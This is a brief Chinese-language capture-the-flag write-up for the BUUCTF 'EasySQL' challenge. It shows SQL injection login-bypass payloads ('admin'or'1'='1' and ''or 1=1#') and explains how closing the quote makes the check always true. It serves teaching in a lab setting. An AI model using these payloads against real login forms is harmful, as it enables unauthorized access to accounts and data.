buuctf [极客大挑战 2019]EasySQL

buuctf [极客大挑战 2019]EasySQL_第1张图片

首先打开后是一个登录界面,可以尝试万能密码登录,构造payload url/check.php?username=admin’or’1’=‘1&password=admin’or’1’=‘1
or前面的账号密码错误,就会执行or后面恒真的’1’=‘1’就可以用错误密码达到登录成功的效果
也可以直接登录 用户名 admin’or’1’=‘1 密码 admin’or’1’='1
(admin也可以直接省略)
或者 用户名 'or 1=1# 密码 'or 1=1#
(表示 ’ 闭合前面的查询语句同时用or绕过判断)
buuctf [极客大挑战 2019]EasySQL_第2张图片登录即可获得flag

你可能感兴趣的:(web)